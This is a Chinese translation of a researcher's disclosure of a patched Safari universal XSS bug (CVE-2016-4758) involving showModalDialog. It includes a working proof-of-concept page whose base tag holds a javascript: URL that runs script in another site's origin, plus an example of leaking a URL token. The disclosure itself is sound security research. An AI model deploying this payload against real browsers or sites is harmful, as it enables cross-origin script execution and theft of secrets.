本文翻譯自:
- http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html (英文版)
- http://masatokinugawa.l0.cm/2016/09/safari-uxss-showModalDialog.html (日文版)
原作者:Masato Kinugawa
譯者:Holic (知道創宇404安全實驗室)
譯者注:截止翻譯日期,日文版又更新了一些內容,本文基于英文版原文翻譯,部分增加的內容翻自日文原版。
本篇文章分享了Safari UXSS漏洞(CVE-2016-4758)的有關細節,該漏洞在Safari 10 被修復。
官方鏈接:https://support.apple.com/en-us/HT207157
WebKit Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12 Impact: Visiting a maliciously crafted website may leak sensitive data Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks. CVE-2016-4758: Masato Kinugawa of Cure53
漏洞條件供參考,移動版Safari不受漏洞影響,因為沒有showModalDialog方法。IE的showModalDialog可能使用了XSS保護機制,相關的內容可以參考以下鏈接:
http://masatokinugawa.l0.cm/2015/06/xss6.html
原作者注:
順便說一句,在整理博客周邊行為的時候,注意到了更嚴重的問題,下面開始寫的便是這個”嚴重問題“
漏洞利用條件
在利用此漏洞進行攻擊之前,有兩個前提條件:
1. 目標頁面使用JavaScript導向至相對URL。(比如location="/", window.open("/","_blank"))
2. 跳轉在頁面加載之后進行
原作者搭建了一個測試頁面: https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html
<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>
這個頁面就是為了在用戶點擊"Top Page"的時候跳轉到 https://vulnerabledoma.in/index.html 。 我認為像這樣的頁面到處都是,而在這種情況下我們可以利用這個BUG展開XSS攻擊。
漏洞詳情
現在使用showModalDialog方法。下述頁面只在modal dialog(模式窗口)中打開。
https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
點擊”Top Page“按鈕后再modal dialog中會發生什么呢?無需多言,將會訪問 https://vulnerabledoma.in/index.html 。
然而在Safari中卻不相同。Safari出乎意料地跳轉到了 https://l0.cm/index.html 頁面去。很明顯Safari搞混了父窗口和modal窗口的基地址。
這時,在相對URL包含私密信息的情況下,可以使用無關頁面獲得私密信息。
<script>
function navigation(){
location="/test?token=abb29ad9adda09";//獲得的私密信息
}
</script>
<button onclick=navigation()>Click</button>
這是十分危險的行為,這里還可以進一步開展XSS攻擊。
(邊注:此行為僅存在于JavaScript navigation API中,例如<a>標簽和xhr.open("GET",[URL]) 使用正確的URL。)
擴展 XSS 攻擊
根據 html5sec.org#42, Safari 允許將javascript: URL設置為base tag。
因此,如果將javascript標簽設置為父頁面的base tag的話,將會導致XSS漏洞。
我的猜想得到了證實。下面是最終PoC:
https://l0.cm/safari_uxss_showModalDialog/
<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
正常情況的話,點擊"Top Page"按鈕時,你將會看到alert會話窗口如下:

Yay!
總結
原作者于2015年六月15日報告此漏洞,在此之前這個bug已經在WebKit中存在一年多了。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/53/
暫無評論